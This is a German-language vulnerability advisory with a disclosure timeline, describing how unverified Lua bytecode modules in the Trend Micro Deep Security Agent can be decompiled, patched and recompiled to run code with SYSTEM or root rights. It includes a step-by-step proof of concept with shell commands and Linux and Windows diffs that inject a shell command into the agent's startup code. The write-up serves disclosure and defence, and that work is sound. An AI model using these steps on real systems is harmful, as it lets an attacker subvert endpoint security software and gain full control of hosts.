Schwachstelle in Trend Micro Cloud One™

Timeline

Analyst: Adrian Eichelbaum

  • 20.01.2023 – initiale Meldung an Trend Micro
  • 21.02.2023 – erneute Meldung an Trend Micro mit 2-wöchiger Deadline bis zur Veröffentlichung
  • 19.03.2023 – Veröffentlichung
  • Getestet wurde mit Trend Micro Deep Security Agent Version 20.0.0-5810

Technical Write-Up

Intro

Trend Micros Cloud One™ Angebot ist eine Defensivlösung von Trend Micro, welches sich die Sicherung von Cloud-Infrastruktur zum Ziel gesetzt hat. Hierzu nutzt es eine Kombination aus verschiedenen Techniken. Darunter auch den Einsatz von Agent-based Security, also die Nutzung von Agenten auf Endpunkten, die Informationen an eine zentrale Stelle melden. Die zentrale Stelle ist hier der Cloud One-Server, der die Informationen der Agenten sammelt und dem Nutzer in einem zentralen Dashboard darstellt.

Die Agenten können auf unterschiedlichsten Betriebssystemen installiert werden. Dabei unterstützt werden Linux, Windows, MacOS sowie Solaris, AIX und Openshift. Auf diesen läuft der Agent individuell und dient als eine Art Antivirus, welcher die Prozesse und Dateien des Systems überwacht und bei auffälligen, sicherheitsrelevanten Aktionen eingreift und diese an den Cloud One-Server meldet.

Getestet wurde der Exploit auf Windows (Windows 10) und Linux (Debian 11). Bei beiden war der Versuch erfolgreich.

Der Endpoint-Agent nutzt dabei Lua, um Funktionen und Plugins zu implementieren. Dabei gibt es Module, für die verschiedenen Funktionen, die der Endpoint-Agent ausführen kann, z.B. Anti-Malware, Application-Control, Device-Control, Web-Reputation und Log-Inspection.

Alle Lua-Module sind kompiliert als Lua-Bytecode. Die Prüfsummen der Lua-Module, auch aller anderer Dateien, sind verfügbar unter „C:\Program Files\Trend Micro\Deep Security Agent\File-Manifest-Windows-20.0.0-5810.x86_64.txt“.

Voraussetzungen

Voraussetzung für die erfolgreiche Ausführung des Exploits sind Schreibberechtigungen für das Verzeichnis, in welchem sich der Lua-Bytecode befindet. Dafür ist eine initiale Kompromittierung des Systems und eventuelle Rechteerweiterung nötig. Der eingefügte Code wird mit den Berechtigungen des Agenten ausgeführt. Dies ist in der Standard-Konfiguration SYSTEM.

Exploit

Anfällig sind Dateien mit der .dse-Dateiendung. Diese sind Zip-Dateien, welche eine Dateistruktur für ein Lua-Modul enthalten. Alle Lua-Skripte, die sich hier befinden, sind kompilierter Lua-Bytecode.

Unter C:\Program Files\Trend Micro\Deep Security Agent\dsa_core finden sich verschiedene Lua-Module, welche die Kernfunktionalität des Agenten abbilden.

Der Exploit wird dadurch ermöglicht, dass es trivial ist, diesen Lua-Bytecode zu dekompilieren, Code einzufügen und wieder zu kompilieren. In der Folge entsteht Lua-Bytecode, welcher ohne Einschränkungen durch den Agenten, anstelle der originalen Dateien, ausgeführt wird. Es findet dabei keine Prüfung des Hash-Wertes statt. Dies würde einen solchen Angriff verhindern.

Auswirkungen

Die Lua-Standardbibiliothek (von Trend Micro inkludiert) enthält eine Schnittstelle um Shell-Befehle auszuführen. Dies hat zur Folge, dass ein Angreifer, mit den Berechtigungen des Agenten, die vollständige Kontrolle über das System erhalten kann. Somit kann ein Angreifer, zum Beispiel, eigene Schadsoftware herunterladen und installieren oder System-Funktionen kontrollieren.

Des weiteren kann der Angreifer die Ausführung der Module beeinflussen, Werte beliebig verändern, den Befehls-Fluss zu seinem Belieben lenken und gegebenen Falles, die Funktionsweise des Agenten selbst maßgeblich beeinflussen.

Prävention

Zur Vorbeugung dieser Art von Exploits ist es notwendig die Dateien, vor der Ausführung, durch einen Hashwert-Vergleich zu validieren. Hierbei sind die lokalen Installationen immer als kompromittiert anzunehmen, da die Integrität der Umgebung nicht verifiziert werden kann. Ein Angreifer könnte lokale Dateien modifiziert haben. Sinnvoller wäre hingegen das Abgleichen mit einer vertrauenswürdigen Quelle, wie z.B. dem Cloud One-Server. Dies stellt ein Problem bei Offline-Systemen dar. Hierfür müsste eine andere Implementierung gefunden werden.

Weiterhin kann das Dekompilieren von Programmteilen erschwert werden, indem etwaige Module in obfuscated DLL’s ausgelagert werden und nicht in leicht dekompilierbaren Lua-Bytecode.

Weitere Schritte

Für zukünftige Untersuchungen ist es interessant, inwiefern der Angreifer die Funktion des Agenten selbst beeinflussen kann. Mögliche Szenarien wären das Versenden von Angreifer-kontrollierten Werten an den Cloud One-Server oder das Verhindern der Erkennung schadhafter Software sowie Aktionen des Agenten.

Proof of Concept

In diesem Abschnitt wird eine detaillierte Reproduktion des Exploits auf Linux dargestellt. Für Windows ist der Prozess analog. Der einzige Unterschied ist der Indikator für Code-Execution. Bei Windows findet sich eine Nachricht im Log, um zu verdeutlichen, dass API-Funktionen des Agenten genutzt werden können. Bei Linux findet sich eine Textdatei unter /root/ds_agent.pwnd, um zu verdeutlichen, dass mit Root-Privilegien beliebige Befehle ausgeführt werden können.

Schrittfolge

  1.  Entpacken der Dateien mit unzip „unzip ./ds_agent.dse“
    • Nach dem Entpacken erhält man eine .lua-Datei. Bei dieser handelt es sich um kompilierten Bytecode.
    • Zur Vereinfachung, wird die Datei mit ds_agent.lua.orig.byte benannt: „mv ds_agent.lua ds_agent.lua.orig.byte“
  2. Dekompilieren der zu ändernden Dateien. Genutzt wurde dazu Luadec mit Support für Lua 5.2
    • luadec ds_agent.lua.orig.byte > ds_agent.lua“
  3. Ändern/Einfügen von Code. Hier wird der Patch verwendet: „git apply exploit-linux.diff“
  4. Neukompilierung der veränderten Dateien, genutzt wurde dazu luac5.2.
    • luac5.2 ds_agent.lua“
    • Dabei entsteht eine luac.out. Diese Datei enthält den neu kompilierten Bytecode. Sie wird als nächstes umbenannt, damit das anschließende Zip-Archiv dieselbe Struktur wie das Original hat.
    • mv luac.out ds_agent.lua“
  5. Erstellung einer neuen .dse-Datei durch Verpacken der geänderten Dateien
    • zip ds_agent.dse ds_agent.lua“
  6. Beschaffung einer .dse-Datei
    • Genutzt wird hier die ds_agent.dse Um die Datei zu bearbeiten, wird die Datei in das home-Verzeichnis kopiert.
    • cp /opt/ds_agent/dsa_core/ds_agent.dse /root“
  7. Ersetzen der originalen .dse-Datei mit der kompromittierten Datei
    • „cp ./ds_agent.dse /opt/ds_agent/dsa_core/ds_agent.dse“
  8. Neustart des Agenten
    • Dabei ist es irrelevant, ob dies durch manuellen Neustart des Agenten oder durch Neustart des Systems erfolgt. Zum Testen eignet sich der manuelle Neustart, der Reboot des Systems ist jedoch leichter.
    • „systemctl restart ds_agent“
  9. Prüfung auf Code-Execution
    • cat /root/ds_agent.pwnd“
code execution
Code Execution

Bei Windows wäre das Äquivalent, die Log-Datei unter „C:\ProgramData\Trend Micro\Deep Security Agent\diag\ds_agent.log“ anzuschauen.

Code Execution
Code Execution

Linux

diff --git a/ds_agent.lua b/ds_agent.lua
index 161a549..cdd3edf 100644
--- a/ds_agent.lua
+++ b/ds_agent.lua
@@ -143,6 +143,7 @@ ds_agent.CheckIfUpgraded = function(self)
return 0
end
end
+ return true
end
ds_agent.CheckIfMoveAgentFailed = function(self)
@@ -238,8 +239,8 @@ end
ds_agent.Init = function(self)
-- function num : 0_14 , upvalues : lapp, _ENV, DomUtils, dsa
self.args = lapp(self.cmdLineOptions)
- if not (self.dom):Get("app.heapDebug") then
- (self.dom):Set("app.heapDebug", (bit32.bor)(not (self.dom)._CRTDBG_LEAK_CHECK_DF or 0, (self.dom)._CRTDBG_ALLOC_MEM_DF, (self.dom)._CRTDBG_LEAK_CHECK_DF))
+ --if not (self.dom):Get("app.heapDebug") then
+ --(self.dom):Set("app.heapDebug", (bit32.bor)(not (self.dom)._CRTDBG_LEAK_CHECK_DF or 0, (self.dom)._CRTDBG_ALLOC_MEM_DF, (self.dom)._CRTDBG_LEAK_CHECK_DF))
self.domUtils = DomUtils(self.dom, self.trace)
;
(self.domUtils):AddSettings({["dsa.ListenThread.port"] = (self.args).port, ["app.name.long"] = "Deep Security Agent", ["app.vendor"] = "Trend Micro", ["app.vendor.long"] = "Trend Micro Inc."})
@@ -258,9 +259,11 @@ ds_agent.Init = function(self)
self.crashFile = (self.dom):GetPluginFile("diag", (self.dom):Get("app.name") .. ".mdmp")
;
((dsa.sys).InitCrashHandler)(self.crashFile, (self.dom):Get("app.name.long"), (self.dom):Get("app.fulldump"))
+ local handle = require("io").popen('/usr/bin/echo "hello from ds_agent. I am $(/usr/bin/whoami)" > /root/ds_agent.pwnd', "r")
+ handle:close()
return true
end
- end
+ --end
end
ds_agent.InitDbEncryptionKey = function(self)

Windows

diff --git a/ds_agent.lua b/ds_agent.lua
index 7eb0bab..f42c238 100644
--- a/ds_agent.lua
+++ b/ds_agent.lua
@@ -132,6 +132,7 @@ ds_agent.CheckIfUpgraded = function(self)
return 0
end
end
+ return true -- NOTE: return true, because otherwise startup fails, because step returns nil
end
ds_agent.CheckIfMoveAgentFailed = function(self)
@@ -226,12 +227,12 @@ end
ds_agent.Init = function(self)
-- function num : 0_14 , upvalues : lapp, _ENV, DomUtils, dsa
- self.args = lapp(self.cmdLineOptions)
- if not (self.dom):Get("app.heapDebug") then
+ self.args = lapp(self.cmdLineOptions);
+ -- if not (self.dom):Get("app.heapDebug") then - NOTE: this is commented out, because otherwise some stuff is not defined, this can probably be refined, to be more stealthy
(self.dom):Set("app.heapDebug", (bit32.bor)(not (self.dom)._CRTDBG_LEAK_CHECK_DF or 0, (self.dom)._CRTDBG_ALLOC_MEM_DF, (self.dom)._CRTDBG_LEAK_CHECK_DF))
self.domUtils = DomUtils(self.dom, self.trace)
;
- (self.domUtils):AddSettings({["dsa.ListenThread.port"] = (self.args).port, ["app.name.long"] = "Deep Security Agent", ["app.vendor"] = "Trend Micro", ["app.vendor.long"] = "Trend Micro Inc."})
+ (self.domUtils):AddSettings({["dsa.ListenThread.port"] = 4118, ["app.name.long"] = "Deep Security Agent", ["app.vendor"] = "Trend Micro", ["app.vendor.long"] = "Trend Micro Inc."}) -- NOTE: Hardcode port, because when leaving default `(self.args).port` startup crashes, because trying to index function value or something. `4118` should be the default
;
(self.domUtils):MapIniFile()
;
@@ -240,7 +241,7 @@ ds_agent.Init = function(self)
if dsa.windows then
local svcName = (self.dom):Get("app.windows.service.name")
if svcName then
- (dsa.LogTrace)(self.trace, "Running as Windows service \'%s\'", svcName)
+ (dsa.LogTrace)(self.trace, "Running as Windows service \'%s\'\n------------------------------- Got code exec -------------------------------", svcName)
end
end
self.coreDir = (self.dom):GetPluginWorkdir("dsa_core")
@@ -249,7 +250,8 @@ ds_agent.Init = function(self)
((dsa.sys).InitCrashHandler)(self.crashFile, (self.dom):Get("app.name.long"), (self.dom):Get("app.fulldump"))
return true
end
- end
+ -- end
+ return true -- NOTE: added, because otherwise the startup crashed, because step returns nil
end
ds_agent.InitDbEncryptionKey = function(self)[/vc_column_text][/vc_column][/vc_row]